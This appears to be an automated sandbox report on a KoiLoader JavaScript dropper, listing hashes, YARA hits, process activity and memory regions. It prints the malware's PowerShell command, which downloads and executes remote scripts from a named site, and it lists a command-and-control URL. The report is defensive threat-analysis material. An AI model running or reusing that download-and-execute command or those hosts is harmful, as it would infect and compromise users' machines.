Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
12-06-2024 02:33
Static task
static1
Behavioral task
behavioral1
Sample
f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37.js
Resource
win7-20240611-en
General
-
Target
f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37.js
-
Size
1KB
-
MD5
b8b73de27d87836914a258507b8066cc
-
SHA1
bb10873bfb35fb2d7ffb2942bba35d65068f6f70
-
SHA256
f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37
-
SHA512
085fdbe93fb90614701bd5361933e47e3a2992e9d2fe6379b5e1c60e51628ee05b988ca8fac171d0b11f1485efb21b995f0262097e18708a6b062256d6a66c0b
Malware Config
Extracted
koiloader
http://89.251.22.227/guacos.php
-
payload_url
https://lechiavetteusb.it/imgs/usb/logo
Signatures
-
Detects KoiLoader payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3424-25-0x0000000007DE0000-0x0000000007DED000-memory.dmp family_koi_loader -
Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3424-25-0x0000000007DE0000-0x0000000007DED000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 16 3424 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3424 powershell.exe 3424 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3424 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
wscript.exedescription pid process target process PID 3748 wrote to memory of 3424 3748 wscript.exe powershell.exe PID 3748 wrote to memory of 3424 3748 wscript.exe powershell.exe PID 3748 wrote to memory of 3424 3748 wscript.exe powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$env:paths = '7z6CIMQJA0CS'; IEX(IWR -UseBasicParsing 'https://lechiavetteusb.it/imgs/usb/logo/khesariQUXH.ps1'); $vv.SetValue($null, [bool]'RGJU7PGYEPE'); IEX(IWR -UseBasicParsing 'https://lechiavetteusb.it/imgs/usb/logo/wizeninglYZn.ps1')"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y1z5leyt.fjy.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/3424-7-0x0000000006050000-0x00000000060B6000-memory.dmpFilesize
408KB
-
memory/3424-5-0x0000000074AE0000-0x0000000075290000-memory.dmpFilesize
7.7MB
-
memory/3424-19-0x00000000066F0000-0x000000000670E000-memory.dmpFilesize
120KB
-
memory/3424-20-0x0000000006710000-0x000000000675C000-memory.dmpFilesize
304KB
-
memory/3424-6-0x0000000005930000-0x0000000005952000-memory.dmpFilesize
136KB
-
memory/3424-8-0x00000000060C0000-0x0000000006126000-memory.dmpFilesize
408KB
-
memory/3424-2-0x0000000003120000-0x0000000003156000-memory.dmpFilesize
216KB
-
memory/3424-1-0x0000000074AEE000-0x0000000074AEF000-memory.dmpFilesize
4KB
-
memory/3424-30-0x0000000074AE0000-0x0000000075290000-memory.dmpFilesize
7.7MB
-
memory/3424-3-0x0000000005A20000-0x0000000006048000-memory.dmpFilesize
6.2MB
-
memory/3424-4-0x0000000074AE0000-0x0000000075290000-memory.dmpFilesize
7.7MB
-
memory/3424-21-0x0000000007E20000-0x000000000849A000-memory.dmpFilesize
6.5MB
-
memory/3424-22-0x0000000006C00000-0x0000000006C1A000-memory.dmpFilesize
104KB
-
memory/3424-23-0x0000000074AE0000-0x0000000075290000-memory.dmpFilesize
7.7MB
-
memory/3424-24-0x0000000007D40000-0x0000000007D41000-memory.dmpFilesize
4KB
-
memory/3424-25-0x0000000007DE0000-0x0000000007DED000-memory.dmpFilesize
52KB
-
memory/3424-31-0x0000000074AE0000-0x0000000075290000-memory.dmpFilesize
7.7MB
-
memory/3424-18-0x0000000006230000-0x0000000006584000-memory.dmpFilesize
3.3MB